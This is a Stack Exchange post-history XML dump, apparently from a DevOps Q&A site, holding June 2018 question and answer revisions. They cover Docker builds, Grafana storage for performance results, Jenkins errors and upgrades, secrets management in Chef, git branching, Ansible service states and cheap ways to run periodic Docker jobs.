  <row Id="13573" PostHistoryTypeId="2" PostId="4326" RevisionGUID="2fea4e6f-a0d1-4476-84f9-63cdc5b02136" CreationDate="2018-06-18T11:54:31.547" UserId="8377" Text="I am trying to get my feet wet with Docker/containers. I started with this tutorial:&#xD;&#xA;&#xD;&#xA;https://spring.io/guides/gs/spring-boot-docker/&#xD;&#xA;&#xD;&#xA;It works fine but I was surprised it is necessary to have the &quot;dockerd&quot; daemon running to build an image. It connects to it using localhost and a port number as part of executing the Maven build. Why is this required (and can it be avoided)? I mean, in many cases the image will have to be run on a separate platform anyway. It is particularly annoying because I am building on Windows where Docker requires you to have Hyper-V enabled, which causes other issues (for instance that you can't use VMWare on the same machine). &#xD;&#xA;&#xD;&#xA;Due to the problems I resorted to building it all inside a Linux VM (which then ran the Docker daemon).&#xD;&#xA;&#xD;&#xA;Another thing which might be related to the above: It seems the build process doesn't leave the image on disk, it is installed directly into the repository managed by the docker daemon. I can then export the image from the command line, and I suppose (haven't tried) this image could be moved to another machine and run from there. But how do I build &quot;just&quot; the image without having it deployed anywhere etc. it just needs to produce the artifacts in the local file system and leave it at that. Maybe that would also remove the requirement for having Docker running?&#xD;&#xA;&#xD;&#xA;The command the tutorial uses for running Maven is:&#xD;&#xA;&#xD;&#xA;    ./mvnw install dockerfile:build&#xD;&#xA;&#xD;&#xA;however trying alternatives to &quot;install&quot; (such as &quot;package&quot; etc.) seemingly doesn't change the behavior." ContentLicense="CC BY-SA 4.0" />
  <row Id="13574" PostHistoryTypeId="1" PostId="4326" RevisionGUID="2fea4e6f-a0d1-4476-84f9-63cdc5b02136" CreationDate="2018-06-18T11:54:31.547" UserId="8377" Text="Does building a docker image require the docker daemon to be running?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13575" PostHistoryTypeId="3" PostId="4326" RevisionGUID="2fea4e6f-a0d1-4476-84f9-63cdc5b02136" CreationDate="2018-06-18T11:54:31.547" UserId="8377" Text="&lt;docker&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13576" PostHistoryTypeId="2" PostId="4327" RevisionGUID="75ca848e-2def-444b-af15-cb288c815855" CreationDate="2018-06-18T12:40:46.893" UserId="775" Text="Each command in the Dockerfile is processed as a separate step. Every step from the build process gets executed in a dedicated container, which is run from an image, which was created based on a successful step execution from the previous step. And as Tensibai commented - how do you think to run a container without the daemon?&#xD;&#xA;&#xD;&#xA;So, yes - building a docker image requires the docker daemon to be running." ContentLicense="CC BY-SA 4.0" />
  <row Id="13577" PostHistoryTypeId="2" PostId="4328" RevisionGUID="1c88e67b-815d-4009-8821-6244cad7230f" CreationDate="2018-06-18T13:46:09.710" UserId="8380" Text="# Intro&#xD;&#xA;I am a tester and need to analyze the results of automated tests (response times and etc.)&#xD;&#xA;&#xD;&#xA;# Current situation&#xD;&#xA;1) I run performance tests using [locust.io](https://locust.io/)  &#xD;&#xA;2) During test execution, response times of successful results are pushed to [Graphite](https://graphiteapp.org/) database  &#xD;&#xA;3) I visualize the results in [Grafana](https://grafana.com/) &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;# Problem&#xD;&#xA;I tried to calculate the average using Grafana to see if it matches the results generated by Locust. It doesn't. &#xD;&#xA;&#xD;&#xA;After a while, what could be a problem. Graphite has [data retention](http://graphite.readthedocs.io/en/latest/config-carbon.html#storage-schemas-conf). As a result, the smallest time period for a data point is 1 second.&#xD;&#xA;&#xD;&#xA;My situation is that I could have several data points with a time difference of several milliseconds.&#xD;&#xA;&#xD;&#xA;I thought I could use something like [Prometheus](https://prometheus.io/) as a substitute for graphite, but it doesn't seem to have an import of data [Graphite Exporter](https://github.com/prometheus/graphite_exporter). But I think this is an overkill.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Could someone suggest a solution from personal experience? I need a db/storage to which I can write in a format query_name/responce_time/timestamp, and then use this storage as a data source for visualizing a report in Grafana.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13578" PostHistoryTypeId="1" PostId="4328" RevisionGUID="1c88e67b-815d-4009-8821-6244cad7230f" CreationDate="2018-06-18T13:46:09.710" UserId="8380" Text="What is a good storage for storing performance results and visualizing in grafana" ContentLicense="CC BY-SA 4.0" />
  <row Id="13579" PostHistoryTypeId="3" PostId="4328" RevisionGUID="1c88e67b-815d-4009-8821-6244cad7230f" CreationDate="2018-06-18T13:46:09.710" UserId="8380" Text="&lt;databases&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13580" PostHistoryTypeId="2" PostId="4329" RevisionGUID="9fd566ca-8435-4608-83bf-355689f10dfb" CreationDate="2018-06-18T14:05:47.187" UserId="8374" Text="So I feel stupid now, but I solved it. I took another look at the error and found `Caused by: java.io.IOException: Unable to read /Users/Shared/Jenkins/Home/config-history/nodes/build2/2018-06-13_11-41-13/history.xml&#xD;&#xA;    at hudson.XmlFile.read(XmlFile.java:144)`&#xD;&#xA;&#xD;&#xA;I went to the file and the found that the first row said `&lt;?xml version='1.1' encoding='UTF-8'?&gt;`. I also noticed that the error message said &#xD;&#xA;&#xD;&#xA;    Caused by: org.xmlpull.v1.XmlPullParserException: only 1.0 is supported as &lt;?xml version not '1.1' (position: START_DOCUMENT seen &lt;?xml version=\'1.1\'... @1:19) &#xD;&#xA;        at org.xmlpull.mxp1.MXParser.parseXmlDeclWithVersion(MXParser.java:2608)&#xD;&#xA;&#xD;&#xA;I changed the `&lt;?xml version='1.1&gt;` to `&lt;?xml version='1.0&gt;`, saved the file and restarted jenkins using&#xD;&#xA;&#xD;&#xA;    sudo launchctl stop org.jenkins-ci&#xD;&#xA;    sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist&#xD;&#xA;    sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13581" PostHistoryTypeId="5" PostId="4328" RevisionGUID="fa7f2ccb-90e8-4f61-a2f4-67a90b02b8f7" CreationDate="2018-06-18T14:18:48.077" UserId="8380" Comment="typos and clarification" Text="# Intro&#xD;&#xA;I am a tester and need to analyze the results of automated tests (response times and etc.)&#xD;&#xA;&#xD;&#xA;# Current situation&#xD;&#xA;1) I run performance tests using [locust.io](https://locust.io/)  &#xD;&#xA;2) During test execution, response times of successful results are pushed to [Graphite](https://graphiteapp.org/) database  &#xD;&#xA;3) I visualize the results in [Grafana](https://grafana.com/) &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;# Problem&#xD;&#xA;I tried to calculate the average using Grafana to see if it matches the results generated by Locust. It doesn't. &#xD;&#xA;&#xD;&#xA;After a while, i tried to figure out what could be a problem. Graphite has [data retention](http://graphite.readthedocs.io/en/latest/config-carbon.html#storage-schemas-conf). As a result, the smallest time period for a data point is 1 second.&#xD;&#xA;&#xD;&#xA;My situation is that I could have several data points with a time difference of several milliseconds.&#xD;&#xA;&#xD;&#xA;I thought I could use something like [Prometheus](https://prometheus.io/) as a substitute for graphite, but it doesn't seem to have an import of data [Graphite Exporter](https://github.com/prometheus/graphite_exporter). But I think installing this extension and setting everything up is an overkill. There should be a much simpler solution.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Could someone suggest a solution from personal experience? I need a db/storage to which I can write in a format `query_name responce_time timestamp`, and then use this storage as a data source for visualizing a report in Grafana.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13582" PostHistoryTypeId="2" PostId="4330" RevisionGUID="53a558bf-c0b5-46ff-bd30-207419b3ecac" CreationDate="2018-06-18T14:26:54.493" UserId="7730" Text="The docker client is a CLI interface to the dockerd REST API. Very little happens in the client itself. Docker performs build steps on the dockerd engine and changing this would be a non-trivial task. Each `RUN` step creates a temporary container to execute the command and gather the resulting container filesystem as a new layer. The build cache is maintained as images on the server. And each layer of the image is managed by the storage driver within the docker engine.&#xD;&#xA;&#xD;&#xA;There are various attempts to try to remove this dependency, but the biggest stumbling block for each will be the temporary containers used by `RUN` which require a container runtime and root access on the server to setup." ContentLicense="CC BY-SA 4.0" />
  <row Id="13583" PostHistoryTypeId="2" PostId="4331" RevisionGUID="95ba5ff9-cb11-4440-ac56-a7431e16a85d" CreationDate="2018-06-18T15:12:45.657" UserId="5628" Text="Storing sensitive data in attributes is definitely not a good practice. I once used a strategy of a chef-vault per environment (dev,stg,prod), and it worked well. If you use the sensitive data within templates you can set the `sensitive` property on the template resource to true to keep the password in plain text form from showing up in the run logs and associated template file diffs &#xD;&#xA;&#xD;&#xA;We eventually moved to Hashicorp vault, and while it took more time upfront to learn and get up and running, it was definitely a better long term solution for secrets management and automation around managing sensitive data" ContentLicense="CC BY-SA 4.0" />
  <row Id="13584" PostHistoryTypeId="50" PostId="3916" RevisionGUID="fd9a6c0b-f8f9-4222-b98a-d9ad0c17b277" CreationDate="2018-06-18T15:23:22.317" UserId="-1" />
  <row Id="13585" PostHistoryTypeId="2" PostId="4332" RevisionGUID="c2aa3e59-a38c-4e16-9931-ff923edcab49" CreationDate="2018-06-18T16:28:27.080" UserId="8385" Text="I would like to trigger the job in Jenkins and also get the log on the same page. e.g. kind of IDE where we can run the code in one side and get the output on the other side.&#xD;&#xA;Are there any tools exists to fulfil this? or do we need to create it? " ContentLicense="CC BY-SA 4.0" />
  <row Id="13586" PostHistoryTypeId="1" PostId="4332" RevisionGUID="c2aa3e59-a38c-4e16-9931-ff923edcab49" CreationDate="2018-06-18T16:28:27.080" UserId="8385" Text="Trigger a job and get the job log on the same page in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="13587" PostHistoryTypeId="3" PostId="4332" RevisionGUID="c2aa3e59-a38c-4e16-9931-ff923edcab49" CreationDate="2018-06-18T16:28:27.080" UserId="8385" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;&lt;jenkinsfile&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13591" PostHistoryTypeId="2" PostId="4334" RevisionGUID="b79280c7-80b4-4d90-8233-efcd938ea70c" CreationDate="2018-06-18T19:08:07.707" UserId="4175" Text="My favourite workflow is the `development`-less &quot;branch per feature&quot; workflow from Adam Dymitruk (http://dymitruk.com/blog/2012/02/05/branch-per-feature/). It has these branches:&#xD;&#xA;&#xD;&#xA;* Exactly one `master` in an unbroken line from day 0 up to the version of your app that is currently in production.&#xD;&#xA;* Many `feature-...` branches.&#xD;&#xA;* One (or if you are so inclined more) `qa` branch.&#xD;&#xA;&#xD;&#xA;The gory details can be found on Adam's site, but in short:&#xD;&#xA;&#xD;&#xA;* *Every* branch goes off of `master`.&#xD;&#xA;* All branches that are in active testing are merged into `qa`.&#xD;&#xA;* `qa` *only* ever contains merge commits (i.e. feature branches merged on top of each other, starting from `master`), *never* direct manipulations.&#xD;&#xA;* Whenever a feature branch gets new commits, and you want those in `qa`, you rebuild `qa` from scratch.&#xD;&#xA;* Whenever you want to deploy a bunch of features, you create a `qa` from all of them, test to your heart's content, and then simply rename that branch to the new `master` (which, as it started out from the old `master`, will be a direct, unbroken line of merge commits from day 0). Then, all feature branches are rebased on that.&#xD;&#xA;* One fundamentally important part for this workflow is to enable the `git rerere` cache feature, and distribute that cache between all developers. Hence, every merge conflict needs to be resolved only once, globally.&#xD;&#xA;&#xD;&#xA;It's trivial to have more than one `qa` branch at a time to test different subsets of features; in your case, you could have `qa` (with everything nearly close to finished, i.e., compiles without error), `qa-acceptance`, `qa-staging` or whatever you like.&#xD;&#xA;&#xD;&#xA;In my experience, there is always a relatively large main, ongoing `qa` branch (recreated from the master and features regularly), and when some features are picked for release, the will be a temporary smaller `qa-...`. &#xD;&#xA;&#xD;&#xA;It is trivial to add and remove individual features from the set of `qa` or release-candidate branches on the fly, as those are recreated constantly and only ephemeral.&#xD;&#xA;&#xD;&#xA;You will find a lot of people very much objecting to `git rebase`, but if one wraps their mind around the fact that this is just a tool like any other, it will be fine. You need good tooling for this of course, but this is not complicated to program yourself; the actual `git` commands are all pretty simple and self-explanatory.&#xD;&#xA;&#xD;&#xA;We have extended the workflow (or rather our tooling) to even allow arbitrary sub-features (i.e., feature branches going off of another feature branch, not `master`), so multiple branches can go off of a common ancestor which is not yet in production; works like a charm. But you can get pretty far without this." ContentLicense="CC BY-SA 4.0" />
  <row Id="13592" PostHistoryTypeId="2" PostId="4335" RevisionGUID="55917557-f6c4-4da4-9739-f96739f22993" CreationDate="2018-06-18T20:18:53.080" UserId="8388" Text="There aren't any off the shelf solution currently that allows you to specify a variable number of code coverage percentage.&#xD;&#xA;&#xD;&#xA;There is the tool [Courtney][1] which enforces 100% code coverage. This tool also allows you to comment on blocks of code which do not need to be covered. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/dave/courtney" ContentLicense="CC BY-SA 4.0" />
  <row Id="13593" PostHistoryTypeId="50" PostId="4106" RevisionGUID="8d871a67-5774-44e6-9354-b170dd58a6d0" CreationDate="2018-06-19T02:29:31.383" UserId="-1" />
  <row Id="13594" PostHistoryTypeId="50" PostId="1821" RevisionGUID="5bd7c4f2-98d9-4a70-8218-e22abe099f2f" CreationDate="2018-06-19T03:36:09.177" UserId="-1" />
  <row Id="13595" PostHistoryTypeId="2" PostId="4336" RevisionGUID="fc2b071d-91cf-42ba-8cbc-e4018d4ec729" CreationDate="2018-06-19T07:10:18.327" UserId="8399" Text="For a project i'm working on we need to create a Jenkins node in an AWS environment. For this we will work with the docker image which is available on https://github.com/jenkinsci/docker-ssh-slave &#xD;&#xA;The Jenkins node will be responsible for executing AWS commands which can only be done from inside the AWS environment (Not outside).&#xD;&#xA;&#xD;&#xA;This Jenkins Master is running in our local environment. We will add the node as a permanent node in the Jenkins master. The Jenkins master is not responsible for setting up the Jenkins Node, since it has no permissions to do this ( this is managed in AWS )&#xD;&#xA;&#xD;&#xA;However we would like to monitor the Jenkins Slave inside AWS to see if it it still running succesfully. With other docker container we also expose a health check. If the health check fails, the docker container is treated as unhealthy and is restarted accordingly. &#xD;&#xA;Just like we do with the other docker containers, we would like to expose such an health port as well on the Jenkins Slave. If it is not responding anymore AWS will restart the docker container and we have a stable system.  &#xD;&#xA;&#xD;&#xA;We already explored the Nagios monitoring, but it looks like this is exposing the health in the master and not directly in the slave. &#xD;&#xA;&#xD;&#xA;Is it available, or how can we add such functionallity? &#xD;&#xA;Could you guide us into the correct direction, plugins which needs to be installed, ... &#xD;&#xA;&#xD;&#xA; - Can we open the default HTTP API of Jenkins in such a Jenkins slave (https://wiki.jenkins.io/display/JENKINS/Remote+access+API)&#xD;&#xA; - Another approach could be that we add and start NGINX in docker and point the healthcheck to NGINX but this way we are not really checking the healt of the the Jenkins slave.&#xD;&#xA;&#xD;&#xA;Thanks in advance. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13596" PostHistoryTypeId="1" PostId="4336" RevisionGUID="fc2b071d-91cf-42ba-8cbc-e4018d4ec729" CreationDate="2018-06-19T07:10:18.327" UserId="8399" Text="Monitor Jenkins node/slave health" ContentLicense="CC BY-SA 4.0" />
  <row Id="13597" PostHistoryTypeId="3" PostId="4336" RevisionGUID="fc2b071d-91cf-42ba-8cbc-e4018d4ec729" CreationDate="2018-06-19T07:10:18.327" UserId="8399" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13598" PostHistoryTypeId="5" PostId="4328" RevisionGUID="31c99d07-0c37-4109-9947-c2dc25f393c8" CreationDate="2018-06-19T07:16:26.797" UserId="8380" Comment="typos and clarification" Text="# Intro&#xD;&#xA;I am a tester and need to analyze the results of automated tests (response times and etc.)&#xD;&#xA;&#xD;&#xA;# Current situation&#xD;&#xA;1) I run performance tests using [locust.io](https://locust.io/)  &#xD;&#xA;2) During test execution, response times of successful results are pushed to [Graphite](https://graphiteapp.org/) database  &#xD;&#xA;3) I visualize the results in [Grafana](https://grafana.com/) &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;# Problem&#xD;&#xA;I tried to calculate the average using Grafana to see if it matches the results generated by Locust. It doesn't. &#xD;&#xA;&#xD;&#xA;After a while, i tried to figure out what could be a problem. Graphite has [data retention](http://graphite.readthedocs.io/en/latest/config-carbon.html#storage-schemas-conf). As a result, the smallest time period for a data point is 1 second.&#xD;&#xA;&#xD;&#xA;My situation is that I could have several data points with a time difference of several milliseconds.&#xD;&#xA;&#xD;&#xA;I thought I could use something like [Prometheus](https://prometheus.io/) as a substitute for graphite, but it doesn't seem to have an import of data. A solution would be installing [Graphite Exporter](https://github.com/prometheus/graphite_exporter), such that i can imitate &quot;pushing&quot; data to db. But I think installing this extension and setting everything up is an overkill. There should be a much simpler solution.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Could someone suggest a solution from personal experience? I need a db/storage to which I can write in a format `query_name responce_time timestamp`, and then use this storage as a data source for visualizing a report in Grafana.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13599" PostHistoryTypeId="6" PostId="4328" RevisionGUID="31c99d07-0c37-4109-9947-c2dc25f393c8" CreationDate="2018-06-19T07:16:26.797" UserId="8380" Comment="typos and clarification" Text="&lt;testing&gt;&lt;databases&gt;&lt;performance&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13600" PostHistoryTypeId="5" PostId="4327" RevisionGUID="26d19341-e02a-4707-88fb-8c124cfbd149" CreationDate="2018-06-19T07:33:16.650" UserId="775" Comment="added 204 characters in body" Text="Each command in the Dockerfile is processed as a separate step. Every step from the build process gets executed in a dedicated container. It starts from Step 1 (the first command in the Dockerifle). That step is run in a container and if it is successful, a commit to a temporary image (let's call it image A) takes place. Then, Step 2 is executed in a container which is run from image A .. and so on until the final step is executed successfully. And as Tensibai commented - how do you think to run a container without the daemon?&#xD;&#xA;&#xD;&#xA;So, yes - building a docker image requires the docker daemon to be running." ContentLicense="CC BY-SA 4.0" />
  <row Id="13604" PostHistoryTypeId="2" PostId="4338" RevisionGUID="4bff04c6-5116-445c-b612-732e2403cef4" CreationDate="2018-06-19T11:00:00.153" UserId="800" Text="Ansible v2.5 introduced a new &quot;running&quot; state for the service module, [the doc](https://docs.ansible.com/ansible/latest/modules/service_module.html#parameters) is not saying anything about it.&#xD;&#xA;&#xD;&#xA;&gt; **started/stopped** are idempotent actions that will not run commands unless necessary. **restarted** will always bounce the service. **reloaded** will always reload. At least one of state and enabled are required. Note that **reloaded** will start the service if it is not already started, even if your chosen init system wouldn't normally.&#xD;&#xA;&#xD;&#xA;I presume it checks if the service is running and starts it if not, but this is exactly what the started state does.&#xD;&#xA;&#xD;&#xA;What differs the running state from the started state ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13605" PostHistoryTypeId="1" PostId="4338" RevisionGUID="4bff04c6-5116-445c-b612-732e2403cef4" CreationDate="2018-06-19T11:00:00.153" UserId="800" Text="Ansible service module running state utility" ContentLicense="CC BY-SA 4.0" />
  <row Id="13606" PostHistoryTypeId="3" PostId="4338" RevisionGUID="4bff04c6-5116-445c-b612-732e2403cef4" CreationDate="2018-06-19T11:00:00.153" UserId="800" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13608" PostHistoryTypeId="2" PostId="4339" RevisionGUID="56aa7a1f-1220-42d2-af04-8064bb6159d9" CreationDate="2018-06-19T17:55:06.790" UserId="4115" Text="It looks like there exists a plugin to do exactly what you want: [Display console output plugin](https://plugins.jenkins.io/display-console-output).&#xD;&#xA;&#xD;&#xA;However, I haven't tried this plugin myself, and it looks like this plugin is not well-maintained, so I cannot vouch for the quality of this plugin." ContentLicense="CC BY-SA 4.0" />
  <row Id="13609" PostHistoryTypeId="2" PostId="4340" RevisionGUID="1439eff4-970f-4d7e-880b-a1de38849604" CreationDate="2018-06-19T18:44:30.053" UserId="7715" Text="It's deprecated in favor of *started*.&#xD;&#xA;&#xD;&#xA;    TASK [Test postfix is running] &#xD;&#xA;    **************************************************************&#xD;&#xA;    [DEPRECATION WARNING]: state=running is deprecated. Please use &#xD;&#xA;    state=started. This feature will be removed in version 2.7. &#xD;&#xA;    Deprecation warnings can be disabled by setting &#xD;&#xA;    deprecation_warnings=False in ansible.cfg.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13610" PostHistoryTypeId="2" PostId="4341" RevisionGUID="e0861d15-cc88-4c37-b0f9-b3b88e33ab07" CreationDate="2018-06-19T19:57:12.377" UserId="8410" Text="I have a Dockerized python process that a client would like to run once or twice a month. It calls a number of Google APIs and stores the results in a Google Sheet. It does not accept network requests. I want to provide one &quot;magic button&quot; that will spin up the Docker container and then shut everything down.&#xD;&#xA;&#xD;&#xA;Some background: I had previously deployed this to an AWS EC2 micro instance via Docker Cloud. My client got a Docker Cloud account, and was able to run the container on demand, relatively painlessly. There are two problems with this workflow:&#xD;&#xA;&#xD;&#xA; 1. The provisioned EC2 instance (docker host) was running 24/7, whether&#xD;&#xA;    the docker container was run up or not. This became expensive.&#xD;&#xA; 2. Docker cloud shut down a month ago.&#xD;&#xA;&#xD;&#xA;Alternatives seem to be Google and AWS Kubernetes services. My reservation is that they will be too complicated for my client to use. Advice?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13611" PostHistoryTypeId="1" PostId="4341" RevisionGUID="e0861d15-cc88-4c37-b0f9-b3b88e33ab07" CreationDate="2018-06-19T19:57:12.377" UserId="8410" Text="Cheapest and easiest way to run a periodic Docker process" ContentLicense="CC BY-SA 4.0" />
  <row Id="13612" PostHistoryTypeId="3" PostId="4341" RevisionGUID="e0861d15-cc88-4c37-b0f9-b3b88e33ab07" CreationDate="2018-06-19T19:57:12.377" UserId="8410" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13613" PostHistoryTypeId="5" PostId="4332" RevisionGUID="fa83b0a2-a5d8-485b-ba66-f2ec1190e9c6" CreationDate="2018-06-20T05:13:05.537" UserId="6375" Comment="Format content" Text="I would like to trigger the job in Jenkins and also get the log on the same page.&#xD;&#xA;&#xD;&#xA;**E.g.** Kind of IDE where we can run the code in one side and get the output on the other side.&#xD;&#xA;&#xD;&#xA;Are there any tools exists to fulfill this? &#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;Do we need to create it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13614" PostHistoryTypeId="24" PostId="4332" RevisionGUID="fa83b0a2-a5d8-485b-ba66-f2ec1190e9c6" CreationDate="2018-06-20T05:13:05.537" Comment="Proposed by 6375 approved by -1 edit id of 718" ContentLicense="CC BY-SA 4.0" />
  <row Id="13615" PostHistoryTypeId="5" PostId="4332" RevisionGUID="6bab7494-9311-4243-9f16-365b3d56a939" CreationDate="2018-06-20T05:13:05.537" UserId="40" Comment="Format content" Text="I would like to trigger the job in Jenkins and also get the log on the same page.&#xD;&#xA;&#xD;&#xA;**E.g.** Kind of IDE where we can run the code in one side and get the output on the other side.&#xD;&#xA;&#xD;&#xA;Are there any tools exists to fulfill this, or do we need to create it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13616" PostHistoryTypeId="2" PostId="4342" RevisionGUID="87f83b6b-5ef3-4c9d-95ee-ba8b95d4aea2" CreationDate="2018-06-20T06:50:27.153" UserId="8420" Text="I would like to upgrade my Jenkins version(From 2.60.2 to 2.121.1) and some of my plugins. Currently, there are some jobs configured in it. I know there are some configuration changes needed for jobs after upgrading the plugins. Is there any way to restore all the settings(data + conf + plugins) to the previous state if my updates went wrong." ContentLicense="CC BY-SA 4.0" />
  <row Id="13617" PostHistoryTypeId="1" PostId="4342" RevisionGUID="87f83b6b-5ef3-4c9d-95ee-ba8b95d4aea2" CreationDate="2018-06-20T06:50:27.153" UserId="8420" Text="How to revert the Jenkins setup if plugin/Jenkins updates went wrong." ContentLicense="CC BY-SA 4.0" />
  <row Id="13618" PostHistoryTypeId="3" PostId="4342" RevisionGUID="87f83b6b-5ef3-4c9d-95ee-ba8b95d4aea2" CreationDate="2018-06-20T06:50:27.153" UserId="8420" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13622" PostHistoryTypeId="2" PostId="4344" RevisionGUID="7ec9f230-7020-4e52-9132-84b2a9e94013" CreationDate="2018-06-20T08:53:11.117" UserId="8424" Text="I'm connected to a cluster which has a release, from a chart, but it was installed by someone else who I think used a tweaked, locally-stored chart.&#xD;&#xA;&#xD;&#xA;I don't have access to their original chart/repo. is there a way I can retrieve it from the cluster, so I can tweak/amend, and re-install?&#xD;&#xA;&#xD;&#xA;Or, can I find the URL of the original repo that was used? the chart name is wordpress-0.6.0, but that's of no use, since it's the same as the &quot;official&quot;/original one" ContentLicense="CC BY-SA 4.0" />
  <row Id="13623" PostHistoryTypeId="1" PostId="4344" RevisionGUID="7ec9f230-7020-4e52-9132-84b2a9e94013" CreationDate="2018-06-20T08:53:11.117" UserId="8424" Text="Original Helm chart gone - how can I find / get it from the cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13624" PostHistoryTypeId="3" PostId="4344" RevisionGUID="7ec9f230-7020-4e52-9132-84b2a9e94013" CreationDate="2018-06-20T08:53:11.117" UserId="8424" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13625" PostHistoryTypeId="2" PostId="4345" RevisionGUID="ec0472f3-5760-4ab9-b1ca-93cadad4c6b7" CreationDate="2018-06-20T09:06:13.177" UserId="800" Text="The cheapest way is to use [Heroku's Container Registry](https://devcenter.heroku.com/articles/container-registry-and-runtime).&#xD;&#xA;&#xD;&#xA;It's entirely free, easy to use and deploy (You don't even need the heroku CLI , just docker push your image to registry.heroku.com with your auth token)&#xD;&#xA;&#xD;&#xA;It may not be the best though but based on your comments I think it should be fine for you, see cons [here](https://devcenter.heroku.com/articles/container-registry-and-runtime#known-issues-and-limitations).&#xD;&#xA;&#xD;&#xA;Another cheap alternative is [hyper.sh](https://hyper.sh/hyper/pricing.html)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13627" PostHistoryTypeId="50" PostId="2939" RevisionGUID="46ee5fcb-c72c-4236-9600-855a55b17894" CreationDate="2018-06-20T12:06:02.890" UserId="-1" />
  <row Id="13629" PostHistoryTypeId="2" PostId="4346" RevisionGUID="ddc608f3-d152-4d61-9ff4-f48eac134ab2" CreationDate="2018-06-20T17:40:08.930" UserId="8435" Text="You can mix the powerful of [Zappa][1] and [Hug][2] to convert your code in a serverless [AWS Lambda][3] function adding only a decorator to your python process main function&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;    import hug&#xD;&#xA;    [...]&#xD;&#xA;    &#xD;&#xA;    @hug.get('/your_endpoint_name')&#xD;&#xA;    def your_function_name():&#xD;&#xA;        &quot;&quot;&quot;Here goes your code&quot;&quot;&quot;&#xD;&#xA;        [...]&#xD;&#xA;        return &quot;Function finished sucesfully&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After this you can deploy to AWS Lambda with `zappa deploy prod` and you will only need to call the returned URL twice a month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Miserlou/Zappa&#xD;&#xA;  [2]: https://github.com/timothycrosley/hug&#xD;&#xA;  [3]: https://docs.aws.amazon.com/lambda/latest/dg/welcome.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13630" PostHistoryTypeId="2" PostId="4347" RevisionGUID="97f2104f-e396-4086-8865-ecb809adb353" CreationDate="2018-06-20T19:11:36.683" UserId="8437" Text="I hope the original poster has solved his issue already.&#xD;&#xA;&#xD;&#xA;We've configured the plugin properly (we're able to invoke acunetix from jenkins although we're having issues getting the report copied into the Jenkins workspace). The issue he might have run into is that you might have more than one jre installed and you have to register the certificate on the keystore JRE that Jenkins is using (you can check which one is being used by jenkins by looking at the &quot;&lt;executable&gt;&quot; tag in the jenkins.xml config file)&#xD;&#xA;&#xD;&#xA;In a default installation the jre being used by jenkins and its keystore are located inside the jenkins folder:   .\jenkins\jre\bin\keytool and .\jenkins\jre\lib\security\cacerts&#xD;&#xA;&#xD;&#xA;With this configuration, you can verify if the certificate is in the keystore by using the command:&#xD;&#xA;keytool -list -keystore &quot;jenkins\jre\lib\security\cacerts&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13631" PostHistoryTypeId="5" PostId="4347" RevisionGUID="27963c7b-7d23-4da0-ad79-27faf3149211" CreationDate="2018-06-20T19:41:56.313" UserId="40" Comment="remove noise" Text="&#xD;&#xA;&#xD;&#xA;We've configured the plugin properly (we're able to invoke acunetix from jenkins although we're having issues getting the report copied into the Jenkins workspace). The issue he might have run into is that you might have more than one jre installed and you have to register the certificate on the keystore JRE that Jenkins is using (you can check which one is being used by jenkins by looking at the &quot;&lt;executable&gt;&quot; tag in the jenkins.xml config file)&#xD;&#xA;&#xD;&#xA;In a default installation the jre being used by jenkins and its keystore are located inside the jenkins folder:   .\jenkins\jre\bin\keytool and .\jenkins\jre\lib\security\cacerts&#xD;&#xA;&#xD;&#xA;With this configuration, you can verify if the certificate is in the keystore by using the command:&#xD;&#xA;keytool -list -keystore &quot;jenkins\jre\lib\security\cacerts&quot;" ContentLicense="CC BY-SA 4.0" />
